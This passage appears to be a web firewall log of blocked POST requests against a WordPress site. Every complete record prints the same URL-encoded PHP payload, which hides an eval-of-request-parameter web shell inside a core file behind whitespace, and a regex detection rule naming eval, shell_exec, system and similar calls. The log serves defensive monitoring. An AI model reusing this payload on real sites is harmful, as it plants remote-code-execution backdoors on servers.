%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 13:57:06","54.36.177.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> te:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Gzdecode.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kKIKug%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqTHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:2045\n\nte=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Gzdecode.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kKIKug%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:57:12","107.155.87.193","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ga:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Gzdecode.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kKIKug%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM2RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:2045\n\nga=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Gzdecode.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kKIKug%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:57:15","172.86.89.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Gzdecode.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kKIKug%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq3HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:2045\nsec-fetch-dest:document\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-mode:navigate\n\nwu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Gzdecode.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kKIKug%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:57:32","148.113.9.51","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tg:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Gzdecode.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kKIKug%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqTpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:2045\n\ntg=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Gzdecode.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kKIKug%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:57:47","103.136.211.220","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Gzdecode.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kKIKug%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqyZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:2045\n\nvS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Gzdecode.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527kKIKug%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:57:50","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 